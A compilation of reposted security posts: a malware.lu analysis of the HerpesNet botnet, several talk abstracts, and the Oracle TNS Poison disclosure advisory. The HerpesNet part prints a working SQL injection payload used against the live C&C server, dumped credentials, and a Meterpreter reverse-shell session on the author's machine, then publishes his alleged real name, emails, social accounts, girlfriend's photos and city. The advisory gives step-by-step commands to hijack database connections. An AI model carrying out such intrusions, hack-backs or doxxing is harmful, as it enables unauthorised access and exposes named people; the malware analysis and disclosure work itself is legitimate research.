[h=1]Analysis & pownage of herpesnet botnet[/h] Analysis & pownage of herpesnet botnet Introduction Tools Static analysis C&C contact Pown the C&C Pown the C&C - part 2 C&C interface Botnet owner tracing [h=2]Introduction[/h]We received a new sample from our submit mecanism. This sample is a botnet HTTP client called HerpesNet. The md5 of the sample is db6779d497cb5e22697106e26eebfaa8. We started the analysis when we found a way to manage the command & control... [h=2]Tools[/h] IDA 5.0 free The idb of file are available: (db6779d497cb5e22697106e26eebfaa8.idb). sqlmap. your favorite browser [h=2]Static analysis[/h]We start by opening the binary with IDA. We see directly that the file is not packed. We follow the Win_Main function and at offset 004071E0h we can see a call on 004070E0h (initThread) The initTread function are in charge to decode strings, open a mutex with the name "rffggghooo" and run 3 threads 004034F5h (thrInstallReg) with the parameter at offset 0041CE88h ("tcerfhygy") is in charge to loops indefinitly and set the the regkey 'Software\Microsoft\Windows\CurrentVersion\Run' with the name "rffggghooo" to enable the boot persistance (it does that every 100ms) 00402F70h (thrKeylogger) that in charge of set the keyboard hook with the help of GetAsyncKeyState 00406AF0h (thrContactCC) that in charge to loads system informations and check the C&C every 15s [h=3]Decode strings[/h]00406FC0h (initVariable) is in charge to decode all obsfucated string 00403034h (decode) is in charge to decode strings we do a python script to recover all strings #!/usr/bin/env python import sys def decode(src): r = "" for c in src: c = ord(c) if c < 0x61 or c > 0x7a : if c < 0x41 or c > 0x5a: r += chr(c) continue x = (( c - 0x41 ) % 0x1a) + 0x41 else: x = ((c - 0x54) % 0x1a) + 0x61 r += chr(x) return r def main(): if len(sys.argv) != 2: sys.exit(1) f = open(sys.argv[1], 'rb') f.seek(0x1ae88, 0) data = f.read(0x32f) for d in data.split("\0"): if len(d) == 0: continue print "%s : %s" % (d, decode(d)) if __name__ == "__main__": main() y0ug@malware.lu:~/malware/herpes$ python decode-all.py db6779d497cb5e22697106e26eebfaa8 tcerfhygy : gpresultl 3.0 : 3.0 uggc://qq.mrebkpbqr.arg/urecarg/ : http://dd.zeroxcode.net/herpnet/ 74978o6rpp6p19836n17n3p2pq0840o0 : 74978b6ecc6c19836a17a3c2cd0840b0 uggc://jjj.mrebkpbqr.arg/urecarg/ : http://www.zeroxcode.net/herpnet/ sgc.mrebkpbqr.arg : ftp.zeroxcode.net uggc://sex7.zvar.ah/urecarg/ : http://frk7.mine.nu/herpnet/ hcybnq@mrebkpbqr.arg : upload@zeroxcode.net hccvg : uppit ujsdsdbbngfgjhhuugfgfujd : hwfqfqooatstwuuhhtstshwq rffggghooo : esstttubbb Ashfurncsmx : Afusheapfzk [h=2]C&C contact[/h]The function in charge to build the request when it checks the C&C is 004059E0h (buildRerqd) It build the POST data with the information obtained above to make something like that: userandpc=foo&admin=1&os=WindowsXP&hwid=2&ownerid=12345&version=3.0&raminfo=256&cpuinfo=p1&hdiskinfo=12GO&uptime=3600&mining=0&pinfo=none&vidinfo=none&laninf=none&id=23724After that it concat the url adding "run.php" add the end of the url passed in parameter 00403E57h are in charge to do the http request. By the way it set the useragent with the value 74978b6ecc6c19836a17a3c2cd0840b0 (is the deofuscated value) After it mades the request it call 00405F80h (parseCommand) that manages to execute command received from the C&C (I'm not going to detail command here you can look directly in the idb) Another interesting function is 0040391Fh (fileUpload) thats upload files by POST methods with the variable name "upfile" can be played directly with curl y0ug@malware.lu:~/malware/herpes$ curl -F upfile=@test.jpg -A 74978b6ecc6c19836a17a3c2cd0840b0 zeroxcode.net File caricato correttamente[h=2]Pown the C&C[/h]We are curious about how the C&C are coded so we decide to test some injection SQL on the C&C api especially the zeroxcode.net. With sqlmap we manage to exploit a time-based sqli. Place: POST Parameter: id Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: userandpc=foo&admin=1&os=WindowsXP&hwid=2&ownerid=12345&version=3.0&raminfo=256&cpuinfo=p1&hdiskinfo=12GO&uptime=3600&mining=0&pinfo=none&vidinfo=none&laninf=none&id=23724' AND SLEEP(5) AND 'PtaQ'='PtaQ --- [08:22:41] [iNFO] the back-end DBMS is MySQL web server operating system: Windows 2008 web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.10 back-end DBMS: MySQL 5.0.11We extract tables names from the database Database: herpnet [7 tables] +----------+ | clients | | clinfo | | commands | | htickets | | husers | | paypalt | | uploads | +----------+And tada we get the user credential of the malware author +--------------------------------------------+ |id|username|password | |--------------------------------------------| | 1| Frk7|6e6bc4e49dd477ebc98ef4046c067b5f| +--------------------------------------------+With google we get the password 6e6bc4e49dd477ebc98ef4046c067b5f:ciaoThat is a master crime genious password We found a path disclosure that can be trigger with curl for exemple y0ug@malware.lu:~/malware/herpes$ curl zeroxcode.net <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL C:\inetpub\zeroxcode\herpnet\run.php/ was not found on this server.</p> <hr> <address> Server at zeroxcode.net Port 80</address> </body></html>[h=2]Pown the C&C - part 2[/h]We saw that the developer use a machine called Frk7Test@FRK7TEST-D6E0BD. So we upload a meterpreter to have a shell on the machine (whith the feature provide by Frk7 himself). msf exploit(handler) > exploit [* ]Started reverse handler on 94.21.200.63:4444 [*] Starting the payload handler... [*] Sending stage (752128 bytes) to 151.63.47.177 [*] Meterpreter session 1 opened (94.21.200.63:4444 -> 151.63.47.177:53574) at Mon May 21 16:20:04 +0200 2012 meterpreter > screenshot Screenshot saved to: /home/y0ug/src/msf3/PtPVDrKD.jpeg meterpreter > sysinfo System Language : it_IT OS : Windows XP (Build 2600, Service Pack3). Computer : FRK7TEST-D6E0BD Architecture : x86 Meterpreter : x86/win32 meterpreter > meterpreter > ls Listing: C:\Documents and Settings\Frk7Test\Desktop\Herpes4Un ============================================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Mon May 21 15:26:37 +0200 2012 . 40777/rwxrwxrwx 0 dir Mon May 21 15:37:07 +0200 2012 .. 40777/rwxrwxrwx 0 dir Mon May 21 14:53:32 +0200 2012 Debug 40777/rwxrwxrwx 0 dir Mon May 21 16:06:41 +0200 2012 Herpes 100666/rw-rw-rw- 890 fil Mon May 07 20:42:22 +0200 2012 Herpes.sln 100666/rw-rw-rw- 167424 fil Mon May 21 16:14:06 +0200 2012 Herpes.suo 40777/rwxrwxrwx 0 dir Mon May 21 16:15:12 +0200 2012 Release 100777/rwxrwxrwx 134 fil Mon May 07 20:42:12 +0200 2012 clean.bat 100666/rw-rw-rw- 134 fil Mon May 07 20:42:22 +0200 2012 roba da fare.txt meterpreter > download -r Herpes ./ [*] downloading: Herpes\antidebug.h -> .//antidebug.h [*] downloaded : Herpes\antidebug.h -> .//antidebug.h [*] mirroring : Herpes\base64 -> .//base64 [*] downloading: Herpes\base64\base64.c -> .//base64/base64.c [*] downloaded : Herpes\base64\base64.c -> .//base64/base64.c [*] downloading: Herpes\base64\base64.h -> .//base64/base64.h [*] downloaded : Herpes\base64\base64.h -> .//base64/base64.h [*] mirrored : Herpes\base64 -> .//base64 [*] mirroring : Herpes\cadt -> .//cadt [*] downloading: Herpes\cadt\cadtdll.lib -> .//cadt/cadtdll.lib [*] downloaded : Herpes\cadt\cadtdll.lib -> .//cadt/cadtdll.lib [*] downloading: Herpes\cadt\cadtlib.h -> .//cadt/cadtlib.h [*] downloaded : Herpes\cadt\cadtlib.h -> .//cadt/cadtlib.h ... The part of file that we are able to download before frk7 shutdown his machine (and web site) here. And a screenshot of the machine: [h=2]C&C interface[/h]First the login page: Secondly, the panel page (connected with frk7 account - see on left-top): The tasks page: List of command available: Information about an infected machine (in this case the test machine of frk7 - yes we see you!!) [h=2]Botnet owner tracing[/h]We made some research to understand who manage this botnet. First his pseudo: frk7 or siliceous Secondly his real name: Francesco Pompo We identified several mail: frk7@live.it frk7@live.com francesco.pompo@gmail.com siliceous@live.com Skype account: nobbosterminator Facebook page: http://www.facebook.com/Frk7.face Picasa page: https://picasaweb.google.com/101402927290625732642/ProfilePhotos His girlfriend: https://picasaweb.google.com/101402927290625732642/ProfilePhotos#5654185571837906082 Twitter account: https://twitter.com/#!/frk7tweet Another repository: http://frk7.altervista.org/ And finaly, he lives in Trapani (Italia). It amazing that a botnet manager puts as much information about his private life !! It's so crazy that we wonder if this botnet is not a honeypot of the Italian police !! Sursa: en_analyse_herpnet - malware-lu - Malware.lu technical analysis - Google Project Hosting

Comprehensive Experimental Analyses of Automotive Attack Surfaces Stephen Checkoway, Damon McCoy, Brian Kantor, Danny Anderson, Hovav Shacham, and Stefan Savage University of California, San Diego Karl Koscher, Alexei Czeskis, Franziska Roesner, and Tadayoshi Kohno University of Washington Abstract Modern automobiles are pervasively computerized, and hence potentially vulnerable to attack. However, while previous research has shown that the internal networks within some modern cars are insecure, the associated threat model—requiring prior physical access—has justifiably been viewed as unrealistic. Thus, it remains an open question if automobiles can also be susceptible to remote compromise. Our work seeks to put this question to rest by systematically analyzing the external attack surface of a modern automobile. We discover that remote exploitation is feasible via a broad range of attack vectors (including mechanics tools, CD players, Bluetooth and cellular radio), and further, that wireless communications channels allow long distance vehicle control, location tracking, in-cabin audio exfiltration and theft. Finally, we discuss the structural characteristics of the automotive ecosystem that give rise to such problems and highlight the practical challenges in mitigating them. Download: http://www.autosec.org/pubs/cars-usenixsec2011.pdf

[h=1]Injecting custom payload into signed Windows executables[/h] Analysis of the CVE-2012-0151 vulnerability A valid signature of a PE executable file doesn't always guarantee that the file hasn't been tampered with. The talk will explain the problem, show the vulnerable targets as well as their possible modifications, and discuss available fixes. Digital signing of executable modules has become a de facto standard in mainstream software products on Microsoft Windows. A file's digital signature confirms that the file has really been created by the signer and its content has not been tampered with by any third party. The signature implies a certain level of trust - if you trust the company that created the file, you trust the file itself. However, we discovered a way to modify certain classes of signed executables while keeping their digital signatures valid. It means that we can take a trusted signed application and inject our own payload that gets executed or installed when this application is run; this modified executable is still correctly signed by the original signer. We have reported this vulnerability to Microsoft (CVE-2012-0151) and they have released a fix in April 2012. However, since the issue is not just a bug in Windows code, but also a design feature combined with bugs in third-party applications, the fix does not cover 100% of possible cases. In my talk, I would like to present the technical aspects of the problem. I will describe how a signed executable can be modified, what the suitable/vulnerable candidates are, and what the released hotfix actually does. I will offer some advice for software developers on how to avoid creating applications which are vulnerable to this type of attack. [h=2]Attached files[/h] Slides (application/octet-stream - 3.7 MB) [h=2]Links[/h] http://blog.avast.com/2012/04/12/beware-of-a-new-windows-security-vulnerability-ms12-024/ Sursa: Recon2012: Injecting custom payload into signed Windows executables

The Case for Semantics-Based Methods in Reverse Engineering © Rolf Rolles, Funemployed RECON 2012 Keynote The Point of This Keynote ? Demonstrate the utility of academic program analysis towards solving real-world reverse engineering problems Definitions ? Syntactic methods consider only the encoding rather than the meaning of a given object, e.g., sequences of machine-code bytes or assembly language instructions, perhaps with wildcards ? Semantic methods consider the meaning of the object, e.g., the effects of one or more instructions Download: http://recon.cx/2012/schedule/attachments/52_semantics-based-methods.pdf

Smashing the Atom About Me Security Researcher at Azimuth Security Past presentations Heaps of Doom (/w Chris Valasek) Kernel Attacks Through User-Mode Callbacks Kernel Pool Exploitation on Windows 7 Generally interested in operating system internals and bug finding Recent focus on embedded platforms This Talk A rather unusual Windows bug class Affects Windows atoms 3 vulnerabilities patched 2 days ago in MS12-041 Allows a non-privileged user to run code in the context of a privileged process E.g. the Windows login manager (winlogon) No need to run arbitrary code in Ring 0 DEP/ASLR? SMEP? No problem! Download: http://mista.nu/research/smashing_the_atom.pdf

The history of a -probably- 13 years old Oracle bug: TNS Poison From: Joxean Koret <joxeankoret () yahoo es> Date: Wed, 18 Apr 2012 23:03:00 +0200 tl;dr -> Patch your database ASAP with Oracle Critical Patch Update April 2012. Introduction ------------ The following advisory explains a vulnerability I found in 2008 in all versions of Oracle Database server until very recently. The bug is probably available in any Oracle Database version since 1999 (Oracle 8i) to the latest one (Oracle 11g) without the CPU-APR-2012. The bug was reported to Oracle in 2008 so it "only" took them 4 years to fix the vulnerability since reported. The vulnerability I called TNS Poison affects the component called TNS Listener, which is the responsible of connections establishment. To exploit the vulnerability no privilege is needed, just network access to the TNS Listener. The “feature” exploited is enabled by default in all Oracle versions starting with Oracle 8i and ending with Oracle 11g (without CPU-APR-2012). Vulnerability details --------------------- The Oracle TNS Listener component routes connections from the client to the database server depending on the database's instance name the client wants to connect to. These instances are registered at the TNS Listener by using any of the following methods: 1. Local registration. The database's internal process PMON connects via IPC to the TNS Listener and registers the database's instance name in the local listener. This can be changed by altering the system parameter LOCAL_LISTENER (ALTER SYSTEM SET LOCAL_LISTENER='LISTENER_NAME'). 2. Remote registration. The database's internal process PMON connects via TCP (or any other network supported protocol such) to the remote TNS Listener and registers the database's instance name in the remote listener. This behavior can be specified by setting the system parameter REMOTE_LISTENER (ALTER SYSTEM SET REMOTE_LISTENER='REMOTE_LISTENER_NAME'). This feature (remote registration) appeared first in Oracle 8i (1999) -this is the reason why I say it's probably vulnerable since this version, however, I didn't tested with such old database servers- and is currently used in Oracle 11g as well as in Oracle9i and 10g. The process of registering an instance is as follows: 1. The client sends a TNS packet of type CONNECT (TNS_TYPE_CONNECT = 1) to the TNS Listener with the following NV string: ? Oracle 9i to 11g: (CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)) ? Oracle 8i: (CONNECT_DATA=(COMMAND=SERVICE_REGISTER)) 2. The server answers with a TNS packet of type ACCEPT (TNS_TYPE_ACCEPT = 2). After this, the protocol communication changes a bit (all data will be binary). 3. The client sends a “data packet” (TNS_TYPE_DATA = 6) to the TNS listener which contains the following data: 1. Service name to register. 2. Instances to register under the specified service name. 3. Maximum number of client connections allowed. 4. Current number of client connections established. 5. Handler's name. 6. IP address and port to connect to the database. 7. ... 4. If the packet is well formed, the server will answer with another TNS “data packet” with the instances registered. After this step, the instances and service names are registered in the remote TNS Listener and any connection attempt to the TNS listener by using the specified SERVICE_NAME or SID (database's instance) will be routed to the remote database server. The connection established to register the remote database must be open, otherwise, the remote TNS listener will consider that the database was crashed and deregisters the Oracle database's instance. According to the Oracle documentation, the “PMON” process, after this, will communicate with the TNS Listener sending update packets (TNS_TYPE_DATA packets) to specify the load of the database, the number of currently connected users, etc... Every one minute or, as most, every 10 minutes (Higher database load, lower update period). This way, an attacker is able to register any instance in the remote TNS listener and connections to the registered instance will be routed to the attackers machine but, is this interesting? Well, not very “exciting”. But, what occurs if an attacker tries to register one already registered instance's name or service name? The TNS listener will consider this newer registered instance name a cluster instance (Oracle RAC, Real Application Clusters) or a fail over instance (Oracle Fail over). When 2 or more database instances are registered with the same name the TNS listener will make load balance between all the registered remote database servers. The latest registered remote database server will receive the first client connection and the second will be routed to the previously registered remote database server. Routing client connections -------------------------- The attack explained in this document can be used to, in example, route legitimate client connections to one attacker controlled machine and forward them to the legitimate database server instance as shown bellow: ------------------------------------------------------------------------ [Legit. Client 1]---------------------------- \ \ \ V [Legit. Client 2]---------------+ [Database Server] | A [Legit. Client 3]---------------+ | | | V | [ Attacker ]----------------+ [Note: Between 50/75% of the connections gets routed through the attacker controlled box] ------------------------------------------------------------------------ The clients connects to the attacker's controlled box which acts as a TNS proxy and forwards all connections to the legitimate database server, as shown in the picture. Not all the connections will be routed through the attacker's box as the TNS Listener will make load balance between all the established instances but, continuously registering the same instance will assure, at least, that the 50% of the connections will be routed through our controlled box. Sniffing connections -------------------- The very first use of the attack explained in this document is obvious: The attacker owns the data as almost all the connections goes through the attacker's box. The attacker can record all the data exchanged between the database server and the client machines and both client and server will be oblivious of the attack. If the attacker just wants to own the target's data, (s)he is done. Game over. Injecting arbitrary commands (Session hijack) --------------------------------------------- As many of the client connections are connected to the legitimate database through our proxy, we are also able to inject commands and/or hijack connections. To inject commands, simply, wait for the customer to send an SQL query/statement, replace the contents of the statement with our desired command and that's all. For session's hijack, simply, close the socket opened between the client and our box and use the established connection channel between the real database server and our machine. You may start sending SQL statements right now. Exploiting the vulnerability ---------------------------- The following sections show how can be launched a successful attack against one Oracle database. The developed POC registers the service name ORCL11 in the TNS Listener and forwards all the connections from the attacker's controlled machine to the legitimate server. Sniffing connections and forwarding client requests --------------------------------------------------- Imagine the following exploit scenario: 1. The database server's IP address is 192.168.1.11 and has registered the instance ORCL11. 2. The legitimate client's address is 192.168.1.12. 3. The attackers machine's address is 192.168.1.25. An attacker will follow these steps: 1. The attacker runs a TCP proxy which forwards all connections to his/her local port 1521 to the real database's server port 1521. 2. Attacker, now, connects to the TNS Listener via TCP/IP and sends the following connect packet: (COMMAND=SERVICE_REGISTER_NSGR). 1. Note that no authentication is required. 3. After receiving the server's answer the attacker sends a packet with the following data: 1. Service to register: ORCL11. 2. Address of the fake database: 192.168.1.25. 3. Load of the database's server: 0. 1. Remember: The lower load, the higher possibility to receive client connections. 4. The attacker's developed exploit enters in a loop and registers the instance every one minute closing the previously opened socket. 1. The last registered database's address is the favorite to route client connections and the attacker wants to receive them all. Proof of concept notes ---------------------- The developed P.O.C. is valid just for 6 characters long service names. However, there is one easy way to change the exploit to make it working against any non 6 characters long instance name: 1. Create a database instance with the same name in a machine under your control. 2. Add an entry like the following to your tnsnames.ora file: listener_name = (DESCRIPTION= (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.11)(PORT=1521))) 3. Change the address and port to those of the target. 4. Put an sniffer in your machine listening for any connection at port 1521 (Filter: port 1521). 5. Connect using SQL*Plus to your locally created database as SYSDBA and execute the following commands: 1. $ sqlplus / as sysdba 2. SQL> ALTER SYSTEM SET REMOTE_LISTENER='LISTENER_NAME'; 3. SQL> ALTER SYSTEM REGISTER; 6. You will see 6 packets in Wireshark (or the sniffer you decided to use). Ignore the 2 first packets. The 3rd packet (TNS_TYPE_DATA) that your configured database sends from your box to the target is the one you are interested in. You may safely ignore all the other packets. 7. Change the contents of the “buf” variable in the supplied exploit with the contents of this packet. 8. Rerun the exploit against the target. NOTE: You may use this as another attack vector. As your database (which has the same name as the target) is registered in the remote TNS Listener, new connections that goes through the TNS listener you poisoned will be routed to your new database. Funny. TNS Poison POC: Step by step guide ---------------------------------- This is the step by step guide to proof the vulnerability explained in this document by using the supplied POC and the aux module: 1. Open a terminal and run the supplied proxy.py script as shown bellow: $ ./proxy.py –localip 192.168.1.25 localport 1521 –remoteip 192.168.1.11 remoteport 1521 2. Open another terminal and run the supplied script tnspoison.py against the target as in the example shown bellow: $ ./tnspoisonv1.py 192.168.1.25 1521 ORCL11 192.168.1.11 1521 Sending initial buffer ... Answer: Accept(2) Sending registration ... '\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D \x08\xff\x03\x01\x00\x124444...' Answer: Data(6) '\x01J\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01@ \x08\xff\x03\x01\x00\x1244444...' Sleeping for 10 seconds... (Ctrl+C to stop)... Now, wait for the new connections to arrive. If you checks the listener using the LSNRCTL tool you will something like the following: $ lsnrctl status LSNRCTL for Linux: Version 11.1.0.6.0 Production Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521)) STATUS of the LISTENER ---------------------- Alias LISTENER Version TNSLSNR for Linux: Version 11.1.0.6.0 Production Start Date 08AUG2008 18:38:08 Uptime 0 days 0 hr. 15 min. 46 sec Trace Level off Security ON: Local OS Authentication SNMP OFF Listener Parameter File /home/joxean/oracle11g/product/11.1.0/db_2/network/admin/listener.ora Listener Log File /home/joxean/oracle11g/diag/tnslsnr/joxeandesktop/ listener/alert/log.xml Listening Endpoints Summary... (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=1521))) Services Summary... Service "ORCL11" has 2 instance(s). Instance "ORCL11", status READY, has 1 handler(s) for this service... Instance "ORCL11", status READY, has 1 handler(s) for this service... Service "ORCL11XDB" has 2 instance(s). Instance "ORCL11", status READY, has 1 handler(s) for this service... Instance "ORCL11", status READY, has 1 handler(s) for this service... Service "ORCL11_XPT" has 2 instance(s). Instance "ORCL11", status READY, has 1 handler(s) for this service... Instance "ORCL11", status READY, has 1 handler(s) for this service... The command completed successfully $ lsnrctl services LSNRCTL for Linux: Version 11.1.0.6.0 Production Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521)) Services Summary... Service "ORCL11" has 2 instance(s). Instance "ORCL11", status READY, has 1 handler(s) for this service... Handler(s): "DEDICATED" established:0 refused:0 state:ready LOCAL SERVER Instance "ORCL11", status READY, has 1 handler(s) for this service... Handler(s): "DEDICATED" established:0 refused:0 state:ready REMOTE SERVER (ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.25)(PORT=1521)) Service "ORCL11XDB" has 2 instance(s). Instance "ORCL11", status READY, has 1 handler(s) for this service... Handler(s): "D000" established:0 refused:0 current:0 max:972 state:ready DISPATCHER <machine: machine, pid: 19194> (ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=42265)) Instance "ORCL11", status READY, has 1 handler(s) for this service... Handler(s): "D000" established:0 refused:0 current:2048 max:1024 state:ready DISPATCHER <machine: 192.168.1.25 , pid: 11447> (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.25)(PORT=57569)) Service "ORCL11_XPT" has 2 instance(s). Instance "ORCL11", status READY, has 1 handler(s) for this service... Handler(s): "DEDICATED" established:0 refused:0 state:ready LOCAL SERVER Instance "ORCL11", status READY, has 1 handler(s) for this service... Handler(s): "DEDICATED" established:0 refused:0 state:ready REMOTE SERVER (ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.25)(PORT=1521)) The command completed successfully Detection --------- The following sections explains how this attack can be somewhat detected at the server side, although no one is perfect (except using OS utilities). Information at the RDBMS Server side ------------------------------------ One may think the following: “Hey! At the server side, the DBA will see that the connections are established from untrusted clients, right?”. Well, yes and no. By using operating system tools, as is pretty obvious, the DBA will see that there are many connections from the same origin host but, by using the V$SESSION dynamic view, that is, the Oracle database's supplied mechanism to see the client connections, the DBA will see that the connections are established from trusted clients. But, they aren't. Why the server thinks client connections are coming from trusted sources? The answer is the following: The server doesn't check if the connections comes from a socket created from the trusted client ip addresses, the RDBMS server just checks the user supplied NV strings in the TNS connect packet. A TNS connect packet (TNS_TYPE_CONNECT = 1) is like the following (stripping all the binary characters, of course): (DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=sqlplus) (HOST=joxeandesktop)(USER=joxean))) (ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.11)(PORT=1521))) The highlighted fields are those that are fakeable^Wuser modifiable. So, any connection established through our controlled machine will be shown in the RDBMS server as if they were made directly from trusted clients. TNS Listener's log file ----------------------- Any attempt to register a new database instance or service will be registered in the TNS Listener. A line like the following will be shown: 04AUG2008 21:26:29 * service_register * DATABASENAME * 0 It isn't sufficient/enough information but, this way, we may detect an attempt to register a new instance. No interesting information (like IP address, client port, etc...) is registered so, the TNS listener's log file is not very interesting. This applies just for Oracle 8i, 9i and 10g. For Oracle 11g, however, the interesting information will logged in the alert file (one XML formatted file). In Oracle 11g any attempt to register a new instance will be logged in the alert file with the following information: <msg time='20080807T17: 30:19.436+02:00' org_id='oracle' comp_id='tnslsnr' type='UNKNOWN' level='16' host_id='joxeandesktop' host_addr='127.0.0.1'> <txt>07AUG2008 17:30:19 * service_register * ORCL11 * 0 </txt> </msg> Unfortunately for us^Wthe attacker, the “host_addr” field holds the information extracted from the socket, not from the NV strings. Oh... This only applies to Oracle 11g with the newest security features enabled which is, by the way, default behavior. Anyway, an attack detected at the TNS listener's log level is not a detected attack at the RDBMS server level, neither an attack prevention method. Workarounds ----------- Better than using workarounds is to patch the vulnerability. However, in case you're using an outdated version for which no patch is available or if you can't pach for a reason, the following is a list of possible workarounds. Possible workarounds -------------------- There are many possible workarounds. The easier one is to set the following parameter in the listener.ora configuration file: dynamic_registration = off. But, sometimes, you don't want to apply this workaround. In example, if you have an Oracle RAC cluster, all the cluster's instances must be registered in both TNS Listeners so, this workaround is not suitable for Oracle RAC clusters. To apply this workaround with Oracle RAC environments one needs to implement load balancing at the client side, changing all the client's tnsnames.ora configuration file to add the complete list of Oracle RAC nodes. However, there is another possible workaround that, sometimes, is suitable for Oracle RAC environments. Edit the file protocol.ora or, for older versions, sqlnet.ora, at the server side and add the following directives: TCP.VALIDNODE_CHECKING = YES TCP.INVITED_NODE = (Comma,separated,list,of,ALL,valid,clients, ...) But, anyway, this workaround doesn't prevent valid clients from being used as proxies. Valid clients can still exploit the vulnerability regardless the VALIDNODE_CHECKING directive added as the client is a valid node. Then again, there is one more suitable workaround: If customer bought (and enabled) Oracle Advanced Security feature clients can be configured to use SSL/TLS. Thus, at both client and server side, the following parameters must be changed in protocol.ora or sqlnet.ora: Client side: SQLNET.ENCRYPTION_CLIENT=REQUIRED Server side: SQLNET.ENCRYPTION_SERVER=REQUIRED The value of these configuration directives must be REQUIRED and not REQUESTED, as is pretty common, otherwise the attacker can answer to the connection attempt answering that no SSL cipher is supported at the server side (as the attacker's controlled box is for the client the trusted database's server) and the client will reconnect without using SSL. Patch information ----------------- The vulnerability is supposed to be fixed, as reported by Oracle, with Oracle Critical Patch Update April 2012. However, I didn't tested it myself and, to be honest, I'm very tired of the Oracle world so I did not tested it myself. I would not be surprised if the patch doesn't correctly/completely fix the vulnerability. Proof of concept and documentation ---------------------------------- You can download the developed proof of concept and the old documentation -wrote back in 2008- from the following links: Documentation: http://www.joxeankoret.com/download/tnspoison.pdf Proof of concept: http://www.joxeankoret.com/download/tnspoison.zip References ---------- Oracle Critical Patch Update Advisory - April 2012: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html Oracle Advanced Security Manual: Oracle 11g http://download.oracle.com/docs/cd/B28359_01/network.111/b28530/asossl.htm Oracle 10g http://download.oracle.com/docs/cd/B19306_01/network.102/b14268/toc.htm Oracle 9i http://downloadwest.oracle.com/docs/cd/B10500_01/network.920/a96573/toc.htm Oracle 8i http://downloaduk.oracle.com/docs/cd/A87860_01/doc/network.817/a85430/toc.htm Oracle 8.1.6 Registration: http://www.orafaq.com/node/30 Configuring Remote Listener Registration: http://download.oracle.com/docs/cd/B10501_01/network.920/a96580/listener.htm#490372 Notes ----- Many of the notes, outputs from terminals, etc... are simply taken from my original notes back from 2008 so, probably, there can be many things outdated. Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Contact ------- The vulnerability was found by Joxean Koret in 2008. All your listeners are belong to us... Attachment: signature.asc Description: This is a digitally signed message partSursa: Full Disclosure: The history of a -probably- 13 years old Oracle bug: TNS Poison